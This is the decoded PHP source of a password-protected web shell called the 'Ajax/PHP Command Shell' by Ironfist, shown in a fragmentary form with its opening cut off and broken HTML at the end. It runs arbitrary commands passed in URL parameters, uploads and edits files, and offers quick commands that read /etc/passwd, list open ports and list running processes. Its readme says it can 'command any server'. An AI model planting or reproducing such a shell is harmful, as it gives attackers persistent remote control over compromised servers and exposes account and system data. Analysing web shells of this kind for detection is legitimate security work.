/* Decoded by unphp.net */
'ClearScreen()',
'Clear History' => 'ClearHistory()',
'Can I function?' => "runcommand('canirun','GET')",
'Get server info' => "runcommand('showinfo','GET')",
'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')",
'Open ports' => "runcommand('netstat -an | grep -i listen','GET')",
'Running processes' => "runcommand('ps -aux','GET')",
'Readme' => "runcommand('shellhelp','GET')"
);
$thisfile = basename(__FILE__);
$style = '';
$sess = __FILE__.$password;
if(isset($_POST['p4ssw0rD']))
{
if($_POST['p4ssw0rD'] == $password)
{
$_SESSION[$sess] = $_POST['p4ssw0rD'];
}
else
{
die("Wrong password");
}
}
if($_SESSION[$sess] == $password)
{
if(isset($_SESSION['workdir']))
{
if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir']))
{
chdir($_SESSION['workdir']);
}
}
if(isset($_FILES['uploadedfile']['name']))
{
$target_path = "./";
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
}
}
if(isset($_GET['runcmd']))
{
$cmd = $_GET['runcmd'];
print "".get_current_user()."~# ". htmlspecialchars($cmd)."
";
if($cmd == "")
{
print "Empty Command..type \"shellhelp\" for some ehh...help";
}
elseif($cmd == "upload")
{
print '
Uploading to: '.realpath(".");
if(is_writable(realpath(".")))
{
print "
I can write to this directory";
}
else
{
print "
I can't write to this directory, please choose another one.";
}
}
elseif((ereg("changeworkdir (.*)",$cmd,$file)) || (ereg("cd (.*)",$cmd,$file)))
{
if(file_exists($file[1]) && is_dir($file[1]))
{
chdir($file[1]);
$_SESSION['workdir'] = $file[1];
print "Current directory changed to ".$file[1];
}
else
{
print "Directory not found";
}
}
elseif(strtolower($cmd) == "shellhelp")
{
print 'Ajax/PHP Command Shell
© By Ironfist
The shell can be used by anyone to command any server, the main purpose was
to create a shell that feels as dynamic as possible, is expandable and easy
to understand.
If one of the command execution functions work, the shell will function fine.
Try the "canirun" command to check this.
Any (not custom) command is a UNIX command, like ls, cat, rm ... If you\'re
not used to these commands, google a little.
Custom Functions
If you want to add your own custom command in the Quick Commands list, check
out the code. The $function array contains \'func name\' => \'javascript function\'.
Take a look at the built-in functions for examples.
I know this readme isn\'t providing too much information, but hell, does this shell
even require one :P
- Iron
';
}
elseif(ereg("editfile (.*)",$cmd,$file))
{
if(file_exists($file[1]) && !is_dir($file[1]))
{
print "
Directories | Files |
";
foreach($dirs as $directory)
{
print "[D][W]".$directory." "; } print " | ";
foreach($filez as $file)
{
print "[D]".$file." "; } print " |
Ajax/PHP Command Shell by Ironfist Version Thanks to everyone @ SharePlaza milw0rm and special greetings to everyone in rootshell |
|
"; } ?> |